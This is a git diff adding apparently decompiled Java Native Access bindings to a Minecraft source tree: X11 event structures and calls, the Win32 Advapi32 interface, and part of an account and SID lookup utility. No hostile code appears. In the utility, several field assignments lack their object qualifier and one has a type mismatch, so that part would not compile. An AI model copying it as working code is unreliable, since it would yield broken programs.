+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window window;
+    public X11.Atom message_type;
+    public int format; public Data data;
+    public static class Data extends com.sun.jna.Union { public Data() {}
+      public byte[] b = new byte[20];
+      public short[] s = new short[10];
+      public NativeLong[] l = new NativeLong[5];
+      
+       }
+    
+    public XClientMessageEvent() {} }
+  
+  public static class XMotionEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window window;
+    public X11.Window root;
+    public X11.Window subwindow;
+    public NativeLong time;
+    public int x;
+    public int y;
+    public int x_root;
+    public int y_root;
+    public int state;
+    public byte is_hint;
+    public int same_screen;
+    
+    public XMotionEvent() {} }
+  
+  public static class XPointerMovedEvent extends X11.XMotionEvent { public XPointerMovedEvent() {} }
+  
+  public static class XCrossingEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window window;
+    public X11.Window root;
+    public X11.Window subwindow;
+    public NativeLong time;
+    public int x;
+    public int y;
+    public int x_root;
+    public int y_root;
+    public int mode;
+    public int detail;
+    public int same_screen;
+    public int focus;
+    public int state;
+    
+    public XCrossingEvent() {} }
+  
+  public static class XEnterWindowEvent extends X11.XCrossingEvent { public XEnterWindowEvent() {} }
+  
+  public static class XLeaveWindowEvent extends X11.XCrossingEvent { public XLeaveWindowEvent() {} }
+  
+  public static class XFocusChangeEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window window;
+    public int mode;
+    public int detail;
+    
+    public XFocusChangeEvent() {} }
+  
+  public static class XFocusInEvent extends X11.XFocusChangeEvent { public XFocusInEvent() {} }
+  
+  public static class XFocusOutEvent extends X11.XFocusChangeEvent { public XFocusOutEvent() {} }
+  
+  public static class XExposeEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window window;
+    public int x;
+    public int y;
+    public int width;
+    public int height;
+    public int count;
+    
+    public XExposeEvent() {} }
+  
+  public static class XGraphicsExposeEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Drawable drawable;
+    public int x;
+    public int y;
+    public int width;
+    public int height;
+    public int count;
+    public int major_code;
+    public int minor_code;
+    
+    public XGraphicsExposeEvent() {} }
+  
+  public static class XNoExposeEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Drawable drawable;
+    public int major_code;
+    public int minor_code;
+    
+    public XNoExposeEvent() {} }
+  
+  public static class XVisibilityEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window window;
+    public int state;
+    
+    public XVisibilityEvent() {} }
+  
+  public static class XCreateWindowEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window parent;
+    public X11.Window window;
+    public int x;
+    public int y;
+    public int width;
+    public int height;
+    public int border_width;
+    public int override_redirect;
+    
+    public XCreateWindowEvent() {} }
+  
+  public static class XDestroyWindowEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window event;
+    public X11.Window window;
+    
+    public XDestroyWindowEvent() {} }
+  
+  public static class XUnmapEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window event;
+    public X11.Window window;
+    public int from_configure;
+    
+    public XUnmapEvent() {} }
+  
+  public static class XMapEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window event;
+    public X11.Window window;
+    public int override_redirect;
+    
+    public XMapEvent() {} }
+  
+  public static class XMapRequestEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window parent;
+    public X11.Window window;
+    
+    public XMapRequestEvent() {} }
+  
+  public static class XReparentEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window event;
+    public X11.Window window;
+    public X11.Window parent;
+    public int x;
+    public int y;
+    public int override_redirect;
+    
+    public XReparentEvent() {} }
+  
+  public static class XConfigureEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window event;
+    public X11.Window window;
+    public int x;
+    public int y;
+    public int width;
+    public int height;
+    public int border_width;
+    public X11.Window above;
+    public int override_redirect;
+    
+    public XConfigureEvent() {} }
+  
+  public static class XGravityEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window event;
+    public X11.Window window;
+    public int x;
+    public int y;
+    
+    public XGravityEvent() {} }
+  
+  public static class XResizeRequestEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window window;
+    public int width;
+    public int height;
+    
+    public XResizeRequestEvent() {} }
+  
+  public static class XConfigureRequestEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window parent;
+    public X11.Window window;
+    public int x;
+    public int y;
+    public int width;
+    public int height;
+    public int border_width;
+    public X11.Window above;
+    public int detail;
+    public NativeLong value_mask;
+    
+    public XConfigureRequestEvent() {} }
+  
+  public static class XCirculateEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window event;
+    public X11.Window window;
+    public int place;
+    
+    public XCirculateEvent() {} }
+  
+  public static class XCirculateRequestEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window parent;
+    public X11.Window window;
+    public int place;
+    
+    public XCirculateRequestEvent() {} }
+  
+  public static class XPropertyEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window window;
+    public X11.Atom atom;
+    public NativeLong time;
+    public int state;
+    
+    public XPropertyEvent() {} }
+  
+  public static class XSelectionClearEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window window;
+    public X11.Atom selection;
+    public NativeLong time;
+    
+    public XSelectionClearEvent() {} }
+  
+  public static class XSelectionRequestEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window owner;
+    public X11.Window requestor;
+    public X11.Atom selection;
+    public X11.Atom target;
+    X11.Atom property;
+    public NativeLong time;
+    
+    public XSelectionRequestEvent() {} }
+  
+  public static class XSelectionEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window requestor;
+    public X11.Atom selection;
+    public X11.Atom target;
+    public X11.Atom property;
+    public NativeLong time;
+    
+    public XSelectionEvent() {} }
+  
+  public static class XColormapEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window window;
+    public X11.Colormap colormap;
+    public int c_new;
+    public int state;
+    
+    public XColormapEvent() {} }
+  
+  public static class XMappingEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window window;
+    public int request;
+    public int first_keycode;
+    public int count;
+    
+    public XMappingEvent() {} }
+  
+  public static class XErrorEvent extends com.sun.jna.Structure { public int type;
+    public X11.Display display;
+    public X11.XID resourceid;
+    public NativeLong serial;
+    public byte error_code;
+    public byte request_code;
+    public byte minor_code;
+    
+    public XErrorEvent() {} }
+  
+  public static class XKeymapEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event; public X11.Display display; public X11.Window window; public byte[] key_vector = new byte[32];
+    
+
+    public XKeymapEvent() {}
+  }
+  
+
+  public abstract boolean XTranslateCoordinates(Display paramDisplay, Window paramWindow1, Window paramWindow2, int paramInt1, int paramInt2, com.sun.jna.ptr.IntByReference paramIntByReference1, com.sun.jna.ptr.IntByReference paramIntByReference2, WindowByReference paramWindowByReference);
+  
+
+  public abstract int XSelectInput(Display paramDisplay, Window paramWindow, NativeLong paramNativeLong);
+  
+
+  public abstract int XSendEvent(Display paramDisplay, Window paramWindow, int paramInt, NativeLong paramNativeLong, XEvent paramXEvent);
+  
+
+  public abstract int XNextEvent(Display paramDisplay, XEvent paramXEvent);
+  
+
+  public abstract int XPeekEvent(Display paramDisplay, XEvent paramXEvent);
+  
+
+  public abstract int XWindowEvent(Display paramDisplay, Window paramWindow, NativeLong paramNativeLong, XEvent paramXEvent);
+  
+
+  public abstract boolean XCheckWindowEvent(Display paramDisplay, Window paramWindow, NativeLong paramNativeLong, XEvent paramXEvent);
+  
+
+  public abstract int XMaskEvent(Display paramDisplay, NativeLong paramNativeLong, XEvent paramXEvent);
+  
+
+  public abstract boolean XCheckMaskEvent(Display paramDisplay, NativeLong paramNativeLong, XEvent paramXEvent);
+  
+
+  public abstract boolean XCheckTypedEvent(Display paramDisplay, int paramInt, XEvent paramXEvent);
+  
+
+  public abstract boolean XCheckTypedWindowEvent(Display paramDisplay, Window paramWindow, int paramInt, XEvent paramXEvent);
+  
+
+  public abstract XWMHints XGetWMHints(Display paramDisplay, Window paramWindow);
+  
+
+  public abstract int XGetWMName(Display paramDisplay, Window paramWindow, XTextProperty paramXTextProperty);
+  
+
+  public abstract XVisualInfo XGetVisualInfo(Display paramDisplay, NativeLong paramNativeLong, XVisualInfo paramXVisualInfo, com.sun.jna.ptr.IntByReference paramIntByReference);
+  
+
+  public abstract Colormap XCreateColormap(Display paramDisplay, Window paramWindow, Visual paramVisual, int paramInt);
+  
+
+  public abstract int XGetWindowProperty(Display paramDisplay, Window paramWindow, Atom paramAtom1, NativeLong paramNativeLong1, NativeLong paramNativeLong2, boolean paramBoolean, Atom paramAtom2, AtomByReference paramAtomByReference, com.sun.jna.ptr.IntByReference paramIntByReference, com.sun.jna.ptr.NativeLongByReference paramNativeLongByReference1, com.sun.jna.ptr.NativeLongByReference paramNativeLongByReference2, com.sun.jna.ptr.PointerByReference paramPointerByReference);
+  
+
+  public abstract int XChangeProperty(Display paramDisplay, Window paramWindow, Atom paramAtom1, Atom paramAtom2, int paramInt1, int paramInt2, com.sun.jna.Pointer paramPointer, int paramInt3);
+  
+
+  public abstract int XDeleteProperty(Display paramDisplay, Window paramWindow, Atom paramAtom);
+  
+
+  public abstract Atom XInternAtom(Display paramDisplay, String paramString, boolean paramBoolean);
+  
+
+  public abstract String XGetAtomName(Display paramDisplay, Atom paramAtom);
+  
+
+  public abstract int XCopyArea(Display paramDisplay, Drawable paramDrawable1, Drawable paramDrawable2, GC paramGC, int paramInt1, int paramInt2, int paramInt3, int paramInt4, int paramInt5, int paramInt6);
+  
+
+  public abstract XImage XCreateImage(Display paramDisplay, Visual paramVisual, int paramInt1, int paramInt2, int paramInt3, com.sun.jna.Pointer paramPointer, int paramInt4, int paramInt5, int paramInt6, int paramInt7);
+  
+
+  public abstract int XPutImage(Display paramDisplay, Drawable paramDrawable, GC paramGC, XImage paramXImage, int paramInt1, int paramInt2, int paramInt3, int paramInt4, int paramInt5, int paramInt6);
+  
+
+  public abstract int XDestroyImage(XImage paramXImage);
+  
+
+  public abstract XErrorHandler XSetErrorHandler(XErrorHandler paramXErrorHandler);
+  
+
+  public abstract String XKeysymToString(KeySym paramKeySym);
+  
+
+  public abstract KeySym XStringToKeysym(String paramString);
+  
+
+  public abstract byte XKeysymToKeycode(Display paramDisplay, KeySym paramKeySym);
+  
+
+  public abstract KeySym XKeycodeToKeysym(Display paramDisplay, byte paramByte, int paramInt);
+  
+
+  public abstract int XGrabKey(Display paramDisplay, int paramInt1, int paramInt2, Window paramWindow, int paramInt3, int paramInt4, int paramInt5);
+  
+
+  public abstract int XUngrabKey(Display paramDisplay, int paramInt1, int paramInt2, Window paramWindow);
+  
+
+  public abstract int XChangeKeyboardMapping(Display paramDisplay, int paramInt1, int paramInt2, KeySym[] paramArrayOfKeySym, int paramInt3);
+  
+
+  public abstract KeySym XGetKeyboardMapping(Display paramDisplay, byte paramByte, int paramInt, com.sun.jna.ptr.IntByReference paramIntByReference);
+  
+
+  public abstract int XDisplayKeycodes(Display paramDisplay, com.sun.jna.ptr.IntByReference paramIntByReference1, com.sun.jna.ptr.IntByReference paramIntByReference2);
+  
+
+  public abstract int XSetModifierMapping(Display paramDisplay, XModifierKeymapRef paramXModifierKeymapRef);
+  
+  public abstract XModifierKeymapRef XGetModifierMapping(Display paramDisplay);
+  
+  public abstract XModifierKeymapRef XNewModifiermap(int paramInt);
+  
+  public abstract XModifierKeymapRef XInsertModifiermapEntry(XModifierKeymapRef paramXModifierKeymapRef, byte paramByte, int paramInt);
+  
+  public abstract XModifierKeymapRef XDeleteModifiermapEntry(XModifierKeymapRef paramXModifierKeymapRef, byte paramByte, int paramInt);
+  
+  public abstract int XFreeModifiermap(XModifierKeymapRef paramXModifierKeymapRef);
+  
+  public abstract int XChangeKeyboardControl(Display paramDisplay, NativeLong paramNativeLong, XKeyboardControlRef paramXKeyboardControlRef);
+  
+  public abstract int XGetKeyboardControl(Display paramDisplay, XKeyboardStateRef paramXKeyboardStateRef);
+  
+  public abstract int XAutoRepeatOn(Display paramDisplay);
+  
+  public abstract int XAutoRepeatOff(Display paramDisplay);
+  
+  public abstract int XBell(Display paramDisplay, int paramInt);
+  
+  public abstract int XQueryKeymap(Display paramDisplay, byte[] paramArrayOfByte);
+  
+  public static abstract interface XErrorHandler
+    extends com.sun.jna.Callback
+  {
+    public abstract int apply(X11.Display paramDisplay, X11.XErrorEvent paramXErrorEvent);
+  }
+  
+  public static class XModifierKeymapRef
+    extends com.sun.jna.Structure
+    implements com.sun.jna.Structure.ByReference
+  {
+    public int max_keypermod;
+    public com.sun.jna.Pointer modifiermap;
+    
+    public XModifierKeymapRef() {}
+  }
+  
+  public static class XKeyboardControlRef
+    extends com.sun.jna.Structure
+    implements com.sun.jna.Structure.ByReference
+  {
+    public int key_click_percent;
+    public int bell_percent;
+    public int bell_pitch;
+    public int bell_duration;
+    public int led;
+    public int led_mode;
+    public int key;
+    public int auto_repeat_mode;
+    
+    public XKeyboardControlRef() {}
+    
+    public String toString()
+    {
+      return "XKeyboardControlByReference{key_click_percent=" + key_click_percent + ", bell_percent=" + bell_percent + ", bell_pitch=" + bell_pitch + ", bell_duration=" + bell_duration + ", led=" + led + ", led_mode=" + led_mode + ", key=" + key + ", auto_repeat_mode=" + auto_repeat_mode + '}';
+    }
+  }
+  
+
+
+  public static class XKeyboardStateRef
+    extends com.sun.jna.Structure
+    implements com.sun.jna.Structure.ByReference
+  {
+    public int key_click_percent;
+    
+
+    public int bell_percent;
+    
+    public int bell_pitch;
+    
+    public int bell_duration;
+    
+    public NativeLong led_mask;
+    
+    public int global_auto_repeat;
+    
+
+    public XKeyboardStateRef() {}
+    
+
+    public byte[] auto_repeats = new byte[32];
+    
+    public String toString() {
+      return "XKeyboardStateByReference{key_click_percent=" + key_click_percent + ", bell_percent=" + bell_percent + ", bell_pitch=" + bell_pitch + ", bell_duration=" + bell_duration + ", led_mask=" + led_mask + ", global_auto_repeat=" + global_auto_repeat + ", auto_repeats=" + auto_repeats + '}';
+    }
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/Advapi32.java b/src/minecraft/com/sun/jna/platform/win32/Advapi32.java
new file mode 100644
index 0000000..af1a995
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/Advapi32.java
@@ -0,0 +1,151 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Native;
+import com.sun.jna.Pointer;
+import com.sun.jna.Structure;
+import com.sun.jna.WString;
+import com.sun.jna.ptr.IntByReference;
+import com.sun.jna.ptr.LongByReference;
+import com.sun.jna.ptr.PointerByReference;
+import com.sun.jna.win32.StdCallLibrary;
+import com.sun.jna.win32.W32APIOptions;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface Advapi32
+  extends StdCallLibrary
+{
+  public static final Advapi32 INSTANCE = (Advapi32)Native.loadLibrary("Advapi32", Advapi32.class, W32APIOptions.UNICODE_OPTIONS);
+  
+  public abstract boolean GetUserNameW(char[] paramArrayOfChar, IntByReference paramIntByReference);
+  
+  public abstract boolean LookupAccountName(String paramString1, String paramString2, WinNT.PSID paramPSID, IntByReference paramIntByReference1, char[] paramArrayOfChar, IntByReference paramIntByReference2, PointerByReference paramPointerByReference);
+  
+  public abstract boolean LookupAccountSid(String paramString, WinNT.PSID paramPSID, char[] paramArrayOfChar1, IntByReference paramIntByReference1, char[] paramArrayOfChar2, IntByReference paramIntByReference2, PointerByReference paramPointerByReference);
+  
+  public abstract boolean ConvertSidToStringSid(WinNT.PSID paramPSID, PointerByReference paramPointerByReference);
+  
+  public abstract boolean ConvertStringSidToSid(String paramString, WinNT.PSIDByReference paramPSIDByReference);
+  
+  public abstract int GetLengthSid(WinNT.PSID paramPSID);
+  
+  public abstract boolean IsValidSid(WinNT.PSID paramPSID);
+  
+  public abstract boolean IsWellKnownSid(WinNT.PSID paramPSID, int paramInt);
+  
+  public abstract boolean CreateWellKnownSid(int paramInt, WinNT.PSID paramPSID1, WinNT.PSID paramPSID2, IntByReference paramIntByReference);
+  
+  public abstract boolean LogonUser(String paramString1, String paramString2, String paramString3, int paramInt1, int paramInt2, WinNT.HANDLEByReference paramHANDLEByReference);
+  
+  public abstract boolean OpenThreadToken(WinNT.HANDLE paramHANDLE, int paramInt, boolean paramBoolean, WinNT.HANDLEByReference paramHANDLEByReference);
+  
+  public abstract boolean OpenProcessToken(WinNT.HANDLE paramHANDLE, int paramInt, WinNT.HANDLEByReference paramHANDLEByReference);
+  
+  public abstract boolean DuplicateToken(WinNT.HANDLE paramHANDLE, int paramInt, WinNT.HANDLEByReference paramHANDLEByReference);
+  
+  public abstract boolean DuplicateTokenEx(WinNT.HANDLE paramHANDLE, int paramInt1, WinBase.SECURITY_ATTRIBUTES paramSECURITY_ATTRIBUTES, int paramInt2, int paramInt3, WinNT.HANDLEByReference paramHANDLEByReference);
+  
+  public abstract boolean GetTokenInformation(WinNT.HANDLE paramHANDLE, int paramInt1, Structure paramStructure, int paramInt2, IntByReference paramIntByReference);
+  
+  public abstract boolean ImpersonateLoggedOnUser(WinNT.HANDLE paramHANDLE);
+  
+  public abstract boolean ImpersonateSelf(int paramInt);
+  
+  public abstract boolean RevertToSelf();
+  
+  public abstract int RegOpenKeyEx(WinReg.HKEY paramHKEY, String paramString, int paramInt1, int paramInt2, WinReg.HKEYByReference paramHKEYByReference);
+  
+  public abstract int RegQueryValueEx(WinReg.HKEY paramHKEY, String paramString, int paramInt, IntByReference paramIntByReference1, char[] paramArrayOfChar, IntByReference paramIntByReference2);
+  
+  public abstract int RegQueryValueEx(WinReg.HKEY paramHKEY, String paramString, int paramInt, IntByReference paramIntByReference1, byte[] paramArrayOfByte, IntByReference paramIntByReference2);
+  
+  public abstract int RegQueryValueEx(WinReg.HKEY paramHKEY, String paramString, int paramInt, IntByReference paramIntByReference1, IntByReference paramIntByReference2, IntByReference paramIntByReference3);
+  
+  public abstract int RegQueryValueEx(WinReg.HKEY paramHKEY, String paramString, int paramInt, IntByReference paramIntByReference1, LongByReference paramLongByReference, IntByReference paramIntByReference2);
+  
+  public abstract int RegQueryValueEx(WinReg.HKEY paramHKEY, String paramString, int paramInt, IntByReference paramIntByReference1, Pointer paramPointer, IntByReference paramIntByReference2);
+  
+  public abstract int RegCloseKey(WinReg.HKEY paramHKEY);
+  
+  public abstract int RegDeleteValue(WinReg.HKEY paramHKEY, String paramString);
+  
+  public abstract int RegSetValueEx(WinReg.HKEY paramHKEY, String paramString, int paramInt1, int paramInt2, char[] paramArrayOfChar, int paramInt3);
+  
+  public abstract int RegSetValueEx(WinReg.HKEY paramHKEY, String paramString, int paramInt1, int paramInt2, byte[] paramArrayOfByte, int paramInt3);
+  
+  public abstract int RegCreateKeyEx(WinReg.HKEY paramHKEY, String paramString1, int paramInt1, String paramString2, int paramInt2, int paramInt3, WinBase.SECURITY_ATTRIBUTES paramSECURITY_ATTRIBUTES, WinReg.HKEYByReference paramHKEYByReference, IntByReference paramIntByReference);
+  
+  public abstract int RegDeleteKey(WinReg.HKEY paramHKEY, String paramString);
+  
+  public abstract int RegEnumKeyEx(WinReg.HKEY paramHKEY, int paramInt, char[] paramArrayOfChar1, IntByReference paramIntByReference1, IntByReference paramIntByReference2, char[] paramArrayOfChar2, IntByReference paramIntByReference3, WinBase.FILETIME paramFILETIME);
+  
+  public abstract int RegEnumValue(WinReg.HKEY paramHKEY, int paramInt, char[] paramArrayOfChar, IntByReference paramIntByReference1, IntByReference paramIntByReference2, IntByReference paramIntByReference3, byte[] paramArrayOfByte, IntByReference paramIntByReference4);
+  
+  public abstract int RegQueryInfoKey(WinReg.HKEY paramHKEY, char[] paramArrayOfChar, IntByReference paramIntByReference1, IntByReference paramIntByReference2, IntByReference paramIntByReference3, IntByReference paramIntByReference4, IntByReference paramIntByReference5, IntByReference paramIntByReference6, IntByReference paramIntByReference7, IntByReference paramIntByReference8, IntByReference paramIntByReference9, WinBase.FILETIME paramFILETIME);
+  
+  public abstract WinNT.HANDLE RegisterEventSource(String paramString1, String paramString2);
+  
+  public abstract boolean DeregisterEventSource(WinNT.HANDLE paramHANDLE);
+  
+  public abstract WinNT.HANDLE OpenEventLog(String paramString1, String paramString2);
+  
+  public abstract boolean CloseEventLog(WinNT.HANDLE paramHANDLE);
+  
+  public abstract boolean GetNumberOfEventLogRecords(WinNT.HANDLE paramHANDLE, IntByReference paramIntByReference);
+  
+  public abstract boolean ReportEvent(WinNT.HANDLE paramHANDLE, int paramInt1, int paramInt2, int paramInt3, WinNT.PSID paramPSID, int paramInt4, int paramInt5, String[] paramArrayOfString, Pointer paramPointer);
+  
+  public abstract boolean ClearEventLog(WinNT.HANDLE paramHANDLE, String paramString);
+  
+  public abstract boolean BackupEventLog(WinNT.HANDLE paramHANDLE, String paramString);
+  
+  public abstract WinNT.HANDLE OpenBackupEventLog(String paramString1, String paramString2);
+  
+  public abstract boolean ReadEventLog(WinNT.HANDLE paramHANDLE, int paramInt1, int paramInt2, Pointer paramPointer, int paramInt3, IntByReference paramIntByReference1, IntByReference paramIntByReference2);
+  
+  public abstract boolean GetOldestEventLogRecord(WinNT.HANDLE paramHANDLE, IntByReference paramIntByReference);
+  
+  public abstract boolean QueryServiceStatusEx(Winsvc.SC_HANDLE paramSC_HANDLE, int paramInt1, Winsvc.SERVICE_STATUS_PROCESS paramSERVICE_STATUS_PROCESS, int paramInt2, IntByReference paramIntByReference);
+  
+  public abstract boolean ControlService(Winsvc.SC_HANDLE paramSC_HANDLE, int paramInt, Winsvc.SERVICE_STATUS paramSERVICE_STATUS);
+  
+  public abstract boolean StartService(Winsvc.SC_HANDLE paramSC_HANDLE, int paramInt, String[] paramArrayOfString);
+  
+  public abstract boolean CloseServiceHandle(Winsvc.SC_HANDLE paramSC_HANDLE);
+  
+  public abstract Winsvc.SC_HANDLE OpenService(Winsvc.SC_HANDLE paramSC_HANDLE, String paramString, int paramInt);
+  
+  public abstract Winsvc.SC_HANDLE OpenSCManager(String paramString1, String paramString2, int paramInt);
+  
+  public abstract boolean CreateProcessAsUser(WinNT.HANDLE paramHANDLE, String paramString1, String paramString2, WinBase.SECURITY_ATTRIBUTES paramSECURITY_ATTRIBUTES1, WinBase.SECURITY_ATTRIBUTES paramSECURITY_ATTRIBUTES2, boolean paramBoolean, int paramInt, String paramString3, String paramString4, WinBase.STARTUPINFO paramSTARTUPINFO, WinBase.PROCESS_INFORMATION paramPROCESS_INFORMATION);
+  
+  public abstract boolean AdjustTokenPrivileges(WinNT.HANDLE paramHANDLE, boolean paramBoolean, WinNT.TOKEN_PRIVILEGES paramTOKEN_PRIVILEGES1, int paramInt, WinNT.TOKEN_PRIVILEGES paramTOKEN_PRIVILEGES2, IntByReference paramIntByReference);
+  
+  public abstract boolean LookupPrivilegeName(String paramString, WinNT.LUID paramLUID, char[] paramArrayOfChar, IntByReference paramIntByReference);
+  
+  public abstract boolean LookupPrivilegeValue(String paramString1, String paramString2, WinNT.LUID paramLUID);
+  
+  public abstract boolean GetFileSecurity(WString paramWString, int paramInt1, Pointer paramPointer, int paramInt2, IntByReference paramIntByReference);
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/Advapi32Util.java b/src/minecraft/com/sun/jna/platform/win32/Advapi32Util.java
new file mode 100644
index 0000000..5ca8af8
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/Advapi32Util.java
@@ -0,0 +1,1636 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Memory;
+import com.sun.jna.Native;
+import com.sun.jna.Pointer;
+import com.sun.jna.WString;
+import com.sun.jna.ptr.IntByReference;
+import com.sun.jna.ptr.LongByReference;
+import com.sun.jna.ptr.PointerByReference;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.TreeMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Advapi32Util
+{
+  public Advapi32Util() {}
+  
+  public static String getUserName()
+  {
+    char[] buffer = new char['€'];
+    IntByReference len = new IntByReference(buffer.length);
+    boolean result = Advapi32.INSTANCE.GetUserNameW(buffer, len);
+    
+    if (!result) {
+      switch (Kernel32.INSTANCE.GetLastError()) {
+      case 122: 
+        buffer = new char[len.getValue()];
+        break;
+      
+      default: 
+        throw new Win32Exception(Native.getLastError());
+      }
+      
+      result = Advapi32.INSTANCE.GetUserNameW(buffer, len);
+    }
+    
+    if (!result) {
+      throw new Win32Exception(Native.getLastError());
+    }
+    
+    return Native.toString(buffer);
+  }
+  
+
+
+
+
+  public static Account getAccountByName(String accountName)
+  {
+    return getAccountByName(null, accountName);
+  }
+  
+
+
+
+
+
+  public static Account getAccountByName(String systemName, String accountName)
+  {
+    IntByReference pSid = new IntByReference(0);
+    IntByReference cchDomainName = new IntByReference(0);
+    PointerByReference peUse = new PointerByReference();
+    
+    if (Advapi32.INSTANCE.LookupAccountName(systemName, accountName, null, pSid, null, cchDomainName, peUse)) {
+      throw new RuntimeException("LookupAccountNameW was expected to fail with ERROR_INSUFFICIENT_BUFFER");
+    }
+    
+    int rc = Kernel32.INSTANCE.GetLastError();
+    if ((pSid.getValue() == 0) || (rc != 122)) {
+      throw new Win32Exception(rc);
+    }
+    
+    Memory sidMemory = new Memory(pSid.getValue());
+    WinNT.PSID result = new WinNT.PSID(sidMemory);
+    char[] referencedDomainName = new char[cchDomainName.getValue() + 1];
+    
+    if (!Advapi32.INSTANCE.LookupAccountName(systemName, accountName, result, pSid, referencedDomainName, cchDomainName, peUse)) {
+      throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+    }
+    
+    Account account = new Account();
+    accountType = peUse.getPointer().getInt(0L);
+    name = accountName;
+    
+    String[] accountNamePartsBs = accountName.split("\\\\", 2);
+    String[] accountNamePartsAt = accountName.split("@", 2);
+    
+    if (accountNamePartsBs.length == 2) {
+      name = accountNamePartsBs[1];
+    } else if (accountNamePartsAt.length == 2) {
+      name = accountNamePartsAt[0];
+    } else {
+      name = accountName;
+    }
+    
+    if (cchDomainName.getValue() > 0) {
+      domain = Native.toString(referencedDomainName);
+      fqn = (domain + "\\" + name);
+    } else {
+      fqn = name;
+    }
+    
+    sid = result.getBytes();
+    sidString = convertSidToStringSid(new WinNT.PSID(sid));
+    return account;
+  }
+  
+
+
+
+
+
+  public static Account getAccountBySid(WinNT.PSID sid)
+  {
+    return getAccountBySid(null, sid);
+  }
+  
+
+
+
+
+
+
+  public static Account getAccountBySid(String systemName, WinNT.PSID sid)
+  {
+    IntByReference cchName = new IntByReference();
+    IntByReference cchDomainName = new IntByReference();
+    PointerByReference peUse = new PointerByReference();
+    
+    if (Advapi32.INSTANCE.LookupAccountSid(null, sid, null, cchName, null, cchDomainName, peUse))
+    {
+      throw new RuntimeException("LookupAccountSidW was expected to fail with ERROR_INSUFFICIENT_BUFFER");
+    }
+    
+    int rc = Kernel32.INSTANCE.GetLastError();
+    if ((cchName.getValue() == 0) || (rc != 122)) {
+      throw new Win32Exception(rc);
+    }
+    
+    char[] domainName = new char[cchDomainName.getValue()];
+    char[] name = new char[cchName.getValue()];
+    
+    if (!Advapi32.INSTANCE.LookupAccountSid(null, sid, name, cchName, domainName, cchDomainName, peUse))
+    {
+      throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+    }
+    
+    Account account = new Account();
+    accountType = peUse.getPointer().getInt(0L);
+    name = Native.toString(name);
+    
+    if (cchDomainName.getValue() > 0) {
+      domain = Native.toString(domainName);
+      fqn = (domain + "\\" + name);
+    } else {
+      fqn = name;
+    }
+    
+    sid = sid.getBytes();
+    sidString = convertSidToStringSid(sid);
+    return account;
+  }
+  
+
+
+
+
+
+  public static String convertSidToStringSid(WinNT.PSID sid)
+  {
+    PointerByReference stringSid = new PointerByReference();
+    if (!Advapi32.INSTANCE.ConvertSidToStringSid(sid, stringSid)) {
+      throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+    }
+    String result = stringSid.getValue().getString(0L, true);
